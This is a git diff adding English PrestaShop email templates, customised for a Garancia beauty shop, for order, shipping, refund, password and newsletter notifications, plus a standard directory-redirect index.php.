            + + \ No newline at end of file diff --git a/themes/default/mails/en/contact_form.txt b/themes/default/mails/en/contact_form.txt new file mode 100755 index 0000000..edf9ef1 --- /dev/null +++ b/themes/default/mails/en/contact_form.txt @@ -0,0 +1,17 @@ +Hello, + +Your message has been sent successfully to {shop_name} Customer Service. + +Your message: + +{message} + +Order reference : {order_name} + +Attached file : {attached_file} + +We will respond as soon as possible. + +Regards, + +{shop_url} \ No newline at end of file diff --git a/themes/default/mails/en/credit_slip.html b/themes/default/mails/en/credit_slip.html new file mode 100755 index 0000000..9492356 --- /dev/null +++ b/themes/default/mails/en/credit_slip.html @@ -0,0 +1,46 @@ + + + + + Message from {shop_name} + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
            {shop_name}
             
            Hi {firstname} {lastname},
             
            Your order with the reference {order_name} - Credit slip created
             
            We have generated a credit slip in your name for order with the reference {order_name}.
             
            You can review this credit slip and download your invoice from the "My credit slips" section of your account by clicking "My account" on our shop.
             
            {shop_name} powered by PrestaShop™
            + + \ No newline at end of file diff --git a/themes/default/mails/en/credit_slip.txt b/themes/default/mails/en/credit_slip.txt new file mode 100755 index 0000000..58aa9f0 --- /dev/null +++ b/themes/default/mails/en/credit_slip.txt @@ -0,0 +1,11 @@ +Hi {firstname} {lastname}, + +Thank you for shopping at {shop_name}! + +We have generated a credit slip in your name for order with the reference {order_name}. + +You can review this credit slip and download the invoice from the "Order follow" section of your account by clicking "My account" on our shop. + +{shop_name} - {shop_url} + +{shop_url} \ No newline at end of file diff --git a/themes/default/mails/en/diagnostic.html b/themes/default/mails/en/diagnostic.html new file mode 100755 index 0000000..46dd9de --- /dev/null +++ b/themes/default/mails/en/diagnostic.html @@ -0,0 +1,40 @@ + + + + + Message from {shop_name} + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
            {shop_name}
             
            Your Garancia Diagnosis
             
            You just received your diagnosis attached

            You can download the file by clicking here : {attached_file}
             
            Thank you for your loyalty
             
            {shop_name}
            + + \ No newline at end of file diff --git a/themes/default/mails/en/diagnostic.txt b/themes/default/mails/en/diagnostic.txt new file mode 100755 index 0000000..bbc0082 --- /dev/null +++ b/themes/default/mails/en/diagnostic.txt @@ -0,0 +1,7 @@ +Your Garancia Diagnosis + +You just received your diagnosis attached + +You can download the file by clicking here : {attached_file_url} + +Thank you for your loyalty \ No newline at end of file diff --git a/themes/default/mails/en/download-product.tpl b/themes/default/mails/en/download-product.tpl new file mode 100755 index 0000000..69dea48 --- /dev/null +++ b/themes/default/mails/en/download-product.tpl @@ -0,0 +1,13 @@ +
              +{foreach from=$virtualProducts item=product} +
            • + {$product.name} + {if isset($product.deadline)} + expires on {$product.deadline} + {/if} + {if isset($product.downloadable)} + downloadable {$product.downloadable} time(s) + {/if} +
            • +{/foreach} +
            \ No newline at end of file diff --git a/themes/default/mails/en/download_product.html b/themes/default/mails/en/download_product.html new file mode 100755 index 0000000..8e7df31 --- /dev/null +++ b/themes/default/mails/en/download_product.html @@ -0,0 +1,55 @@ + + + + + Message from {shop_name} + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
            {shop_name}
             
            Hello {firstname} {lastname}
             
            Product(s) now available for download
             
            Thank you for your order from {shop_name}!

            You have {nbProducts} product(s) now available for download using the following link(s):
             
            {virtualProducts}
             
            You can review your order and download your invoice from the "Order history" section of your customer account by clicking "My account" on our shop.

            If you have a guest account, you can follow your order via the "Guest Tracking" section on our shop.
             
            {shop_name} powered by PrestaShop™
            + + \ No newline at end of file diff --git a/themes/default/mails/en/download_product.txt b/themes/default/mails/en/download_product.txt new file mode 100755 index 0000000..5d83b5a --- /dev/null +++ b/themes/default/mails/en/download_product.txt @@ -0,0 +1,13 @@ +Hi {firstname} {lastname}, + +Thank you for your order from {shop_name}! + +You have {nbProducts} product(s) now available for download using the following link(s): + +{virtualProducts} + +You can review your order and download your invoice from the "Order history" section of your customer account by clicking "My account" on our shop. + +If you have guest account, you can follow your order using this link: {guest_tracking_url} + +{shop_url} \ No newline at end of file diff --git a/themes/default/mails/en/employee_password.html b/themes/default/mails/en/employee_password.html new file mode 100755 index 0000000..db2674e --- /dev/null +++ b/themes/default/mails/en/employee_password.html @@ -0,0 +1,40 @@ + + + + + Message from {shop_name} + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
            {shop_name}
             
            Hi {firstname} {lastname},
             
            Your {shop_name} login information
             
            Here is your personal login information for {shop_name}:

            First name: {firstname}
            Last name: {lastname}
            Password: {passwd}
            E-mail address: {email}
             
            {shop_name} powered by PrestaShop™
            + + \ No newline at end of file diff --git a/themes/default/mails/en/employee_password.txt b/themes/default/mails/en/employee_password.txt new file mode 100755 index 0000000..f7dd62a --- /dev/null +++ b/themes/default/mails/en/employee_password.txt @@ -0,0 +1,12 @@ +Hi {firstname} {lastname}, + +Here is your personal login information for {shop_name}: + +First name: {firstname} +Last name: {lastname} +Password: {passwd} +E-mail address: {email} + +{shop_name} - {shop_url} + +{shop_url} \ No newline at end of file diff --git a/themes/default/mails/en/forward_msg.html b/themes/default/mails/en/forward_msg.html new file mode 100755 index 0000000..8918dcc --- /dev/null +++ b/themes/default/mails/en/forward_msg.html @@ -0,0 +1,28 @@ + + + + + Message from {shop_name} + + + + + + + + + + + + + + + + + + + + +
            Customer service - Forwarded discussion
             
            {employee} wanted to forward this discussion to you.

            Discussion history:
            {messages}

            {employee} added "{comment}"
             
            {shop_name} powered by PrestaShop™
            + + \ No newline at end of file diff --git a/themes/default/mails/en/forward_msg.txt b/themes/default/mails/en/forward_msg.txt new file mode 100755 index 0000000..e69de29 diff --git a/themes/default/mails/en/guest_to_customer.html b/themes/default/mails/en/guest_to_customer.html new file mode 100755 index 0000000..10bd789 --- /dev/null +++ b/themes/default/mails/en/guest_to_customer.html @@ -0,0 +1,52 @@ + + + + + Message from {shop_name} + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
            {shop_name}
             
            Hi {firstname} {lastname},
             
            Your customer account creation
             
            Your guest account for {shop_name} has been transformed into a customer account.
             
            E-mail address: {email}
            Password: {passwd}
             
            Please be careful when sharing these login details with others.

            You can access your customer account on our shop: {shop_url}
             
            {shop_name} powered by PrestaShop™
            + + \ No newline at end of file diff --git a/themes/default/mails/en/guest_to_customer.txt b/themes/default/mails/en/guest_to_customer.txt new file mode 100755 index 0000000..42afd81 --- /dev/null +++ b/themes/default/mails/en/guest_to_customer.txt @@ -0,0 +1,12 @@ + Hi {firstname} {lastname}, + +Your guest account for {shop_name} has been transformed into a customer account. + + E-mail address: {email} + Password: {passwd} + + You can access your account on our website: {shop_url} + + Please be careful when sharing these login details with others. + +{shop_url} powered by PrestaShopâ„¢ \ No newline at end of file diff --git a/themes/default/mails/en/in_transit.html b/themes/default/mails/en/in_transit.html new file mode 100755 index 0000000..f9b54de --- /dev/null +++ b/themes/default/mails/en/in_transit.html @@ -0,0 +1,49 @@ + + + + + Message from {shop_name} + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
            {shop_name}
             
            Hi {firstname} {lastname},
             
            Your order with the reference {order_name} - In transit
             
            Your order with the reference {order_name} is currently in transit..

            You can track your package using the following link: {followup}
             
            You can review your order and download your invoice from the "Order history" section of your customer account by clicking "My account" on our shop.

            If you have a guest account, you can follow your order via the "Guest Tracking" section on our shop.
             
            {shop_name} powered by PrestaShop™
            + + \ No newline at end of file diff --git a/themes/default/mails/en/in_transit.txt b/themes/default/mails/en/in_transit.txt new file mode 100755 index 0000000..add0a83 --- /dev/null +++ b/themes/default/mails/en/in_transit.txt @@ -0,0 +1,15 @@ +Hi {firstname} {lastname}, + +Thank you for shopping with {shop_name}! + +Your order with the reference {order_name} is currently in transit. + +You can track your package using the following link: {followup} + +You can review your order and download your invoice from the "Order history" section of your customer account by clicking "My account" on our shop. + +If you have guest account, you can follow your order using this link: {guest_tracking_url} + +{shop_name} - {shop_url} + +{shop_url} powered by PrestaShopâ„¢ \ No newline at end of file diff --git a/themes/default/mails/en/index.php b/themes/default/mails/en/index.php new file mode 100755 index 0000000..d8c3eba --- /dev/null +++ b/themes/default/mails/en/index.php @@ -0,0 +1,35 @@ + +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/osl-3.0.php Open Software License (OSL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +header("Expires: Mon, 26 Jul 1997 05:00:00 GMT"); +header("Last-Modified: ".gmdate("D, d M Y H:i:s")." GMT"); + +header("Cache-Control: no-store, no-cache, must-revalidate"); +header("Cache-Control: post-check=0, pre-check=0", false); +header("Pragma: no-cache"); + +header("Location: ../"); +exit; \ No newline at end of file diff --git a/themes/default/mails/en/lang.php b/themes/default/mails/en/lang.php new file mode 100755 index 0000000..bde0e45 --- /dev/null +++ b/themes/default/mails/en/lang.php @@ -0,0 +1,24 @@ + \ No newline at end of file diff --git a/themes/default/mails/en/livree.html b/themes/default/mails/en/livree.html new file mode 100755 index 0000000..116440b --- /dev/null +++ b/themes/default/mails/en/livree.html @@ -0,0 +1,63 @@ + + + + + Your Garancia order has been delivered + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
            {shop_name}
             
            Dear {firstname} {lastname},
             
            We are pleased to inform you that your Garancia order has been delivered  
             
            You can track your order by connecting to your personal space
             
            + + + + + + + + + + + + +
            Should you have any question regarding your order, please contact us on:suivicommande@garancia-beauty.com
             
             
            +
            We dearly hope your parcel will brighten your day, 
            Magically Yours, 
            Garancia Team 
            + + \ No newline at end of file diff --git a/themes/default/mails/en/livree.txt b/themes/default/mails/en/livree.txt new file mode 100755 index 0000000..87eaa83 --- /dev/null +++ b/themes/default/mails/en/livree.txt @@ -0,0 +1,11 @@ +Dear {firstname} {lastname}, + +We are pleased to inform you that your Garancia parcel has been delivered. + +You can track your order by connecting to your personal space + +Should you have any question regarding your order, please contact us on : : suivicommande@garancia-beauty.com, nous serons ravis de vous aider. + +We dearly hope your parcel will brighten your day, +Magically Yours, +Garancia Team \ No newline at end of file diff --git a/themes/default/mails/en/log_alert.html b/themes/default/mails/en/log_alert.html new file mode 100755 index 0000000..19c46e0 --- /dev/null +++ b/themes/default/mails/en/log_alert.html @@ -0,0 +1,46 @@ + + + + + Message from {shop_name} + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
            {shop_name}
             
            Hello,
             
            You have received a new log alert
             
            Warning: you have received a new log alert in your Back Office.
             
            You can check for it in the "Tools" > "Logs" section of your Back Office.
             
            {shop_name} powered by PrestaShop™
            + + \ No newline at end of file diff --git a/themes/default/mails/en/log_alert.txt b/themes/default/mails/en/log_alert.txt new file mode 100755 index 0000000..32ea2b7 --- /dev/null +++ b/themes/default/mails/en/log_alert.txt @@ -0,0 +1,9 @@ +Hello, + +Warning: you have received a new log alert in your Back Office. + +You can check for it in the "Tools" > "Logs" section of your Back Office. + +{shop_name} - {shop_url} + +{shop_url} powered by PrestaShopâ„¢ \ No newline at end of file diff --git a/themes/default/mails/en/newsletter.html b/themes/default/mails/en/newsletter.html new file mode 100755 index 0000000..fb7d777 --- /dev/null +++ b/themes/default/mails/en/newsletter.html @@ -0,0 +1,34 @@ + + + + + Message from {shop_name} + + + + + + + + + + + + + + + + + + + + + + + + + + +
            {shop_name}
             
            Newsletter from {shop_name}
             
            {message}
             
            {shop_name} 
            + + \ No newline at end of file diff --git a/themes/default/mails/en/newsletter.txt b/themes/default/mails/en/newsletter.txt new file mode 100755 index 0000000..b3548dd --- /dev/null +++ b/themes/default/mails/en/newsletter.txt @@ -0,0 +1,5 @@ +Newsletter from {shop_name} + +{message} + +{shop_url} \ No newline at end of file diff --git a/themes/default/mails/en/order_canceled.html b/themes/default/mails/en/order_canceled.html new file mode 100755 index 0000000..784aa72 --- /dev/null +++ b/themes/default/mails/en/order_canceled.html @@ -0,0 +1,49 @@ + + + + + Message from {shop_name} + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
            {shop_name}
             
            Hi {firstname} {lastname},
             
            Your order with the reference {order_name} - Order cancelled
             
            Your order with the reference {order_name} from {shop_name} has been cancelled.
             
            You can review your order and download your invoice from the "Order history" section of your customer account by clicking "My account" on our shop.

            If you have a guest account, you can follow your order via the "Guest Tracking" section on our shop.
             
            {shop_name}
            + + \ No newline at end of file diff --git a/themes/default/mails/en/order_canceled.txt b/themes/default/mails/en/order_canceled.txt new file mode 100755 index 0000000..1f13a07 --- /dev/null +++ b/themes/default/mails/en/order_canceled.txt @@ -0,0 +1,11 @@ +Hi {firstname} {lastname}, + +Your order with the reference {order_name} from {shop_name} has been cancelled. + +You can review your order and download your invoice from the "Order history" section of your customer account by clicking "My account" on our shop. + +If you have guest account, you can follow your order using this link: {guest_tracking_url} + +{shop_name} - {shop_url} + +{shop_url} \ No newline at end of file diff --git a/themes/default/mails/en/order_changed.html b/themes/default/mails/en/order_changed.html new file mode 100755 index 0000000..48d1970 --- /dev/null +++ b/themes/default/mails/en/order_changed.html @@ -0,0 +1,49 @@ + + + + + Message from {shop_name} + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
            {shop_name}
             
            Hi {firstname} {lastname},
             
            Your order with the reference {order_name} - Order changed
             
            Your order with the reference {order_name} from {shop_name} has been changed by the merchant.
             
            You can review your order and download your invoice from the "Order history" section of your customer account by clicking "My account" on our shop.

            If you have a guest account, you can follow your order via the "Guest Tracking" section on our shop.
             
            {shop_name} 
            + + \ No newline at end of file diff --git a/themes/default/mails/en/order_changed.txt b/themes/default/mails/en/order_changed.txt new file mode 100755 index 0000000..edb78f8 --- /dev/null +++ b/themes/default/mails/en/order_changed.txt @@ -0,0 +1,11 @@ +Hi {firstname} {lastname}, + +Your order with the reference {order_name} from {shop_name} has been changed by the merchant. + +You can review your order and download your invoice from the "Order history" section of your customer account by clicking "My account" on our shop. + +If you have guest account, you can follow your order using this link: {guest_tracking_url} + +{shop_name} - {shop_url} + +{shop_url} \ No newline at end of file diff --git a/themes/default/mails/en/order_conf.html b/themes/default/mails/en/order_conf.html new file mode 100755 index 0000000..6b7c7e4 --- /dev/null +++ b/themes/default/mails/en/order_conf.html @@ -0,0 +1,123 @@ + + + + + Message from {shop_name} + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
            {shop_name}
             
            Dear {firstname} {lastname},

            Thank you for shopping with {shop_name}!
             
            Order details
             
            Order: {order_name} placed on {date}
            Payment: {payment}
             
            + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
            ReferenceProductUnit priceQuantityTotal price
            {products}
            {discounts}
             Products{total_products}
             Discounts{total_discounts}
             Gift-wrapping{total_wrapping}
             Shipping{total_shipping}
             Total paid{total_paid}
            +
             
            Shipping
             
            Carrier: {carrier}
             
            + + + + + + + + +
            Delivery addressBilling address
            {delivery_block_html}{invoice_block_html}
            +
             
            You can review your order and download your invoice from the "Order history" section of your customer account by clicking "My account" on our shop.

             
            +

             

            +

            Magically Yours!

            +
            {shop_name} 
            + + \ No newline at end of file diff --git a/themes/default/mails/en/order_conf.txt b/themes/default/mails/en/order_conf.txt new file mode 100755 index 0000000..f69765a --- /dev/null +++ b/themes/default/mails/en/order_conf.txt @@ -0,0 +1,27 @@ +Hi {firstname} {lastname}, + +Thank you for your order on {shop_name}! + + Order: {order_name} placed on {date} + Payment: {payment} + + Products: {total_products} + Discounts: {total_discounts} + Shipping: {total_shipping} + Gift-wrapping: {total_wrapping} + Total paid: {total_paid} + + Carrier: {carrier} + + Delivery address: + + {delivery_block_txt} + + Billing address: + + {invoice_block_txt} + +You can review your order and download your invoice from the "Order history" section of your customer account by clicking "My account" on our shop. + + +{shop_url} \ No newline at end of file diff --git a/themes/default/mails/en/order_customer_comment.html b/themes/default/mails/en/order_customer_comment.html new file mode 100755 index 0000000..7ecd7f0 --- /dev/null +++ b/themes/default/mails/en/order_customer_comment.html @@ -0,0 +1,40 @@ + + + + + Message from a client from {shop_name} + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
            {shop_name}
             
            Hi,
             
            Message from a customer
             
            You have received a new message regarding order with the reference {order_name}.

            Customer: {firstname} {lastname} ({email})

            {message}
             
            {shop_name}
            + + \ No newline at end of file diff --git a/themes/default/mails/en/order_customer_comment.txt b/themes/default/mails/en/order_customer_comment.txt new file mode 100755 index 0000000..a094bdb --- /dev/null +++ b/themes/default/mails/en/order_customer_comment.txt @@ -0,0 +1,10 @@ +Hello, + +You have received a new message from a customer regarding order with the reference {order_name}. + +Customer: {firstname} {lastname} ({email}) + +Message: +{message} + +{shop_url} \ No newline at end of file diff --git a/themes/default/mails/en/order_merchant_comment.html b/themes/default/mails/en/order_merchant_comment.html new file mode 100755 index 0000000..d48b511 --- /dev/null +++ b/themes/default/mails/en/order_merchant_comment.html @@ -0,0 +1,40 @@ + + + + + Message from {shop_name} + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
            {shop_name}
             
            Hi {firstname} {lastname},
             
            New message from {shop_name}
             
            You have received a new message from {shop_name} regarding order with the reference {order_name}.

            Message:
            {message}
             
            {shop_name} powered by PrestaShop™
            + + \ No newline at end of file diff --git a/themes/default/mails/en/order_merchant_comment.txt b/themes/default/mails/en/order_merchant_comment.txt new file mode 100755 index 0000000..c12f4e1 --- /dev/null +++ b/themes/default/mails/en/order_merchant_comment.txt @@ -0,0 +1,8 @@ +Hi {firstname} {lastname}, + +You have received a new message from {shop_name} regarding your order with the reference {order_name}. + +Message: +{message} + +{shop_url} \ No newline at end of file diff --git a/themes/default/mails/en/order_return_state.html b/themes/default/mails/en/order_return_state.html new file mode 100755 index 0000000..866553a --- /dev/null +++ b/themes/default/mails/en/order_return_state.html @@ -0,0 +1,46 @@ + + + + + Message from {shop_name} + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
            {shop_name}
             
            Hi {firstname} {lastname},
             
            Return #{id_order_return} - update
             
            We have updated the progress on your return #{id_order_return}, the new status is: "{state_order_return}"
             
            You can review your order and download your invoice from the "Order history" section of your customer account by clicking "My account" on our shop.

             
            {shop_name} powered by PrestaShop™
            + + \ No newline at end of file diff --git a/themes/default/mails/en/order_return_state.txt b/themes/default/mails/en/order_return_state.txt new file mode 100755 index 0000000..fd0de25 --- /dev/null +++ b/themes/default/mails/en/order_return_state.txt @@ -0,0 +1,9 @@ +Hi {firstname} {lastname}, + +We have updated the progress on your return #{id_order_return}, the new status is: "{state_order_return}" + +You can review your order and download your invoice from the "Order history" section of your customer account by clicking "My account" on our shop. + +{shop_name} - {shop_url} + +{shop_url} \ No newline at end of file diff --git a/themes/default/mails/en/outofstock.html b/themes/default/mails/en/outofstock.html new file mode 100755 index 0000000..0560c22 --- /dev/null +++ b/themes/default/mails/en/outofstock.html @@ -0,0 +1,49 @@ + + + + + Message from {shop_name} + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
            {shop_name}
             
            Hi {firstname} {lastname},
             
            Your order with the reference {order_name} - Item(s) out of stock
             
            Thanks for your order with the reference {order_name} from {shop_name}.

            Unfortunately, one or more items are currently out of stock. This may cause a slight delay in your delivery. Please accept our apologies and rest assured that we are working hard to rectify this.
             
            You can review your order and download your invoice from the "Order history" section of your customer account by clicking "My account" on our shop.

            If you have a guest account, you can follow your order via the "Guest Tracking" section on our shop.
             
            {shop_name} 
            + + \ No newline at end of file diff --git a/themes/default/mails/en/outofstock.txt b/themes/default/mails/en/outofstock.txt new file mode 100755 index 0000000..a4bd572 --- /dev/null +++ b/themes/default/mails/en/outofstock.txt @@ -0,0 +1,15 @@ +Hi {firstname} {lastname}, + +Thanks for your order with the reference {order_name} from {shop_name}. + +Unfortunately, one or more items are currently out of stock. +This may cause a slight delay in your delivery. +Please accept our apologies and rest assured that we are working hard to rectify this. + +You can review your order and download your invoice from the "Order history" section of your customer account by clicking "My account" on our shop. + +If you have guest account, you can follow your order using this link: {guest_tracking_url} + +{shop_name} - {shop_url} + +{shop_url} diff --git a/themes/default/mails/en/password.html b/themes/default/mails/en/password.html new file mode 100755 index 0000000..783fd28 --- /dev/null +++ b/themes/default/mails/en/password.html @@ -0,0 +1,46 @@ + + + + + Message from {shop_name} + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
            {shop_name}
             
            Hi {firstname} {lastname},
             
            Your new {shop_name} login details
             
            E-mail address: {email}
            Password: {passwd}
             
            Please be careful when sharing these login details with others.

            You can now order on our shop: {shop_url}
             
            {shop_name}
            + + \ No newline at end of file diff --git a/themes/default/mails/en/password.txt b/themes/default/mails/en/password.txt new file mode 100755 index 0000000..ebcb865 --- /dev/null +++ b/themes/default/mails/en/password.txt @@ -0,0 +1,12 @@ +Hello {firstname} {lastname}, + +Here are your new {shop_name} login details: + +E-mail address: {email} +Password: {passwd} + +You can now place an order on our shop: {shop_url} + +Please be careful when sharing these login details with others. + +{shop_url} \ No newline at end of file diff --git a/themes/default/mails/en/password_query.html b/themes/default/mails/en/password_query.html new file mode 100755 index 0000000..9df0068 --- /dev/null +++ b/themes/default/mails/en/password_query.html @@ -0,0 +1,46 @@ + + + + + Message from {shop_name} + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
            {shop_name}
             
            Hi {firstname} {lastname},
             
            Password reset request for {shop_name}
             
            You have requested to reset your {shop_name} login details.

            Please note that this will change your current password.
             
            To confirm this action, please use the following link:
            {url}
             
            {shop_name} 
            + + \ No newline at end of file diff --git a/themes/default/mails/en/password_query.txt b/themes/default/mails/en/password_query.txt new file mode 100755 index 0000000..a3ab7c4 --- /dev/null +++ b/themes/default/mails/en/password_query.txt @@ -0,0 +1,10 @@ +Hi {firstname} {lastname}, + +You have requested to reset your {shop_name} login details. + +Please note that this will change your current password. + +To confirm this action, please use the following link: +{url} + +{shop_url} \ No newline at end of file diff --git a/themes/default/mails/en/payment.html b/themes/default/mails/en/payment.html new file mode 100755 index 0000000..f835b2c --- /dev/null +++ b/themes/default/mails/en/payment.html @@ -0,0 +1,49 @@ + + + + + Message from {shop_name} + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
            {shop_name}
             
            Dear {firstname} {lastname},
             
            Your order with the reference {order_name} - Payment processed
             
            Thank you for shopping with {shop_name}!

            Your payment for order with the reference {order_name} was successfully processed.
             
            You can review your order and download your invoice from the "Order history" section of your customer account by clicking "My account" on our shop.

             
             
            {shop_name} 
            + + \ No newline at end of file diff --git a/themes/default/mails/en/payment.txt b/themes/default/mails/en/payment.txt new file mode 100755 index 0000000..5a538e7 --- /dev/null +++ b/themes/default/mails/en/payment.txt @@ -0,0 +1,13 @@ +Hi {firstname} {lastname}, + +Thank you for shopping with {shop_name}! + +Your payment for order with the reference {order_name} was successfully processed. + +You can review your order and download your invoice from the "Order history" section of your customer account by clicking "My account" on our shop. + +If you have guest account, you can follow your order using this link: {guest_tracking_url} + +{shop_name} - {shop_url} + +{shop_url} \ No newline at end of file diff --git a/themes/default/mails/en/payment_error.html b/themes/default/mails/en/payment_error.html new file mode 100755 index 0000000..aa2959c --- /dev/null +++ b/themes/default/mails/en/payment_error.html @@ -0,0 +1,55 @@ + + + + + Message from {shop_name} + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
            {shop_name}
             
            Hi {firstname} {lastname},
             
            Your order with the reference {order_name} - Payment processing error
             
            There is a problem with your payment for {shop_name} order with the reference {order_name}. Please contact us at your earliest convenience.
             
            We cannot ship your order until we receive your payment.
             
            You can review your order and download your invoice from the "Order history" section of your customer account by clicking "My account" on our shop.

            If you have a guest account, you can follow your order via the "Guest Tracking" section on our shop.
             
            {shop_name} powered by PrestaShop™
            + + \ No newline at end of file diff --git a/themes/default/mails/en/payment_error.txt b/themes/default/mails/en/payment_error.txt new file mode 100755 index 0000000..ffd782f --- /dev/null +++ b/themes/default/mails/en/payment_error.txt @@ -0,0 +1,13 @@ +Hi {firstname} {lastname}, + +There is a problem with your payment for {shop_name} order with the reference {order_name}. Please contact us at your earliest convenience. + +We cannot ship your order until we receive your payment. + +You can review your order and download your invoice from the "Order history" section of your customer account by clicking "My account" on our shop. + +If you have guest account, you can follow your order using this link: {guest_tracking_url} + +{shop_name} - {shop_url} + +{shop_url} powered by PrestaShop™ \ No newline at end of file diff --git a/themes/default/mails/en/preparation.html b/themes/default/mails/en/preparation.html new file mode 100755 index 0000000..9c15eee --- /dev/null +++ b/themes/default/mails/en/preparation.html @@ -0,0 +1,52 @@ + + + + + Your Garancia order is being prepared + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
            {shop_name}
             
            Dear {firstname} {lastname},
             
            We are pleased to inform you that your Garancia order {order_name}  is being prepared.
             
            You can track your order by connecting to your personal space 
             
            For any questions concerning your order, please contact us on the following email address: suivicommande@garancia-beauty.com, We would be delighted to help you. 
            +

            We dearly hope your parcel will make your day!

            +

             

            +
            Magically Yours,
            Garancia Team
            + + \ No newline at end of file diff --git a/themes/default/mails/en/preparation.txt b/themes/default/mails/en/preparation.txt new file mode 100755 index 0000000..ea18876 --- /dev/null +++ b/themes/default/mails/en/preparation.txt @@ -0,0 +1,17 @@ +Dear {firstname} {lastname}, + +We are pleased to inform you that your Garancia order {order_name} is being prepared. + +You can track your order by connecting to your personal space + +For any questions concerning your order, please contact us on the following email address: suivicommande@garancia-beauty.com, We would be delighted to help you. + +We dearly hope your parcel will make your day! + +Magically Yours, + +Garancia Team + +{shop_name} - {shop_url} + + diff --git a/themes/default/mails/en/refund.html b/themes/default/mails/en/refund.html new file mode 100755 index 0000000..cbee13d --- /dev/null +++ b/themes/default/mails/en/refund.html @@ -0,0 +1,49 @@ + + + + + Message from {shop_name} + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
            {shop_name}
             
            Hi {firstname} {lastname},
             
            Refund processed for order with the reference {order_name}
             
            We have processed your {shop_name} refund for order with the reference {order_name}.
             
            You can review your order and download your invoice from the "Order history" section of your customer account by clicking "My account" on our shop.

            If you have a guest account, you can follow your order via the "Guest Tracking" section on our shop.
             
            {shop_name} 
            + + \ No newline at end of file diff --git a/themes/default/mails/en/refund.txt b/themes/default/mails/en/refund.txt new file mode 100755 index 0000000..a3769c8 --- /dev/null +++ b/themes/default/mails/en/refund.txt @@ -0,0 +1,11 @@ +Hi {firstname} {lastname}, + +We have processed your {shop_name} refund for order with the reference {order_name}. + +You can review your order and download your invoice from the "Order history" section of your customer account by clicking "My account" on our shop. + +If you have guest account, you can follow your order using this link: {guest_tracking_url} + +{shop_name} - {shop_url} + +{shop_url} \ No newline at end of file diff --git a/themes/default/mails/en/reply_msg.html b/themes/default/mails/en/reply_msg.html new file mode 100755 index 0000000..29e54b8 --- /dev/null +++ b/themes/default/mails/en/reply_msg.html @@ -0,0 +1,16 @@ + + + + + Message from {shop_name} + + + + + + + + +
            {reply}

            Please do not reply to this message, we will not receive it.

            In order to reply, please use the following link: {link}.
            + + \ No newline at end of file diff --git a/themes/default/mails/en/reply_msg.txt b/themes/default/mails/en/reply_msg.txt new file mode 100755 index 0000000..38bfe8c --- /dev/null +++ b/themes/default/mails/en/reply_msg.txt @@ -0,0 +1,5 @@ +{reply} + +Please do not reply to this message, we will not receive it. + +In order to reply, please use the following link: {link} \ No newline at end of file diff --git a/themes/default/mails/en/shipped.html b/themes/default/mails/en/shipped.html new file mode 100755 index 0000000..af9fcb5 --- /dev/null +++ b/themes/default/mails/en/shipped.html @@ -0,0 +1,69 @@ + + + + + Your Garancia parcel has been sent + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
            {shop_name}
             
            Dear {firstname} {lastname},
             
            We are pleased to inform you that your Garancia parcel has been shipped
            You will receive it very soon. 
             
            You can track your parcel on your personal space.
             
            +

            Your delivery number with {carrier} is : {shipping_number} . You can connect on their website to track your parcel

            +
             
            +

            If you have any question regarding your order, please contact us at: suivicommande@garancia-beauty.com, we are always happy to help.

            +
             
            +

            We hope that your parcel will brighten your day. 

            +
            +

            Magically Yours

            +
            Garancia Team 
            + + \ No newline at end of file diff --git a/themes/default/mails/en/shipped.txt b/themes/default/mails/en/shipped.txt new file mode 100755 index 0000000..29a965a --- /dev/null +++ b/themes/default/mails/en/shipped.txt @@ -0,0 +1,16 @@ +Dear {firstname} {lastname}, + +We are pleased to inform you that your Garancia parcel has been shipped +You will receive it very soon. + +You can track your parcel on your personal space. + +If you have any question regarding your order, please contact us at: suivicommande@garancia-beauty.com, we are always happy to help. + +Your delivery number with {carrier} is : {shipping_number} . You can connect on their website to track your parcel + +We hope that your parcel will brighten your day. + +Magically Yours + +Garancia Team diff --git a/themes/default/mails/en/test.html b/themes/default/mails/en/test.html new file mode 100755 index 0000000..f8aae59 --- /dev/null +++ b/themes/default/mails/en/test.html @@ -0,0 +1,22 @@ + + + + + Test mail + + + + + + + + + + + + + + +
            Hello,

            This is a test e-mail from your shop.

            If you can read this, the test was successful!
             
            {shop_name} powered by PrestaShop™
